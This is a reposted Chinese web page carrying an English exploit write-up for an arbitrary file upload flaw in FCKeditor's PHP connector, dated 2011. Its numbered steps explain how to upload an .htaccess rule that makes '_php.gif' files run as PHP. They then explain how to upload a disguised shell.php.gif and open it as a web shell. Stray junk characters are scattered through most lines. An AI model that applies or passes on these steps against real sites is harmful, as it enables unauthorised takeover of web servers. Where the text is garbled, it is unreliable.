FCKeditor所有php版本Upload上传漏洞
8 q; K2 L) `8 U2 @6 X$ |作者:佚名 来源:本站整理 发布时间:2011-10-25 7:39:07 a+ K7 T+ w- z/ E4 g
减小字体 增大字体* d7 H8 i9 J8 H* v- X7 H7 ?
[+] Title:FCKeditor all versian Arbitrary File Upload Vulnerability
. d3 i6 S0 D/ {2 X! x3 k: |[+] Date: 2011
5 J: }/ a0 @- Z' s! I9 u. K[+] Author : sinesafe.cn
* n' @9 e0 h& c7 M[+] Website : WwW.sinesafe.cn& j; v1 J) e f
———————————————————
9 J' \& J3 n1 |2 j1.create a htaccess file:
$ w4 A2 W$ u( ]2 J. Ocode:
) u2 E- G# s8 H b- I8 E" t<FilesMatch “_php.gif”>
2 w( S! s# l2 U% C X0 OSetHandler application/x-httpd-php. U, a7 ^, n4 a/ W, o* T
</FilesMatch>, O$ ~( ?( q: z& _6 |9 F
- W$ U4 E' L$ y8 C
2.Now upload this htaccess with FCKeditor.
# N& r0 f; w7 @- a& S1 @7 k% t. H$ f- L# S: ^3 j8 [. c- g
http://www.sinesafe.cn/FCKeditor ... er/upload/test.html& f; c( w/ G+ C) x
# }8 y9 d) `% x' |http://www.sinesafe.cn/FCKeditor ... onnectors/test.html
! g( u& A' E8 B2 _$ d9 X( S* } g v' l0 E* g6 n# ^
———————————————————————————————-$ a7 s& E* Z4 Z* k
3.Now upload shell.php.gif with FCKeditor.
- o( Z: g, ~, s9 e, i" a: d4.After upload shell.php.gif, the name “shell.php.gif” change to “shell_php.gif” automatically.: [6 w1 o# {/ S) N# ]/ N
5.http://www.sinesafe.cn/anything/shell_php.gif
9 h& ?( V2 ^3 m. r' X8 R6.Now shell is available from server. | % w0 @' u% I$ _. v1 |, Q
. I% l$ ~9 v6 `
8 K! c, m! H; h5 ]8 {6 J% e |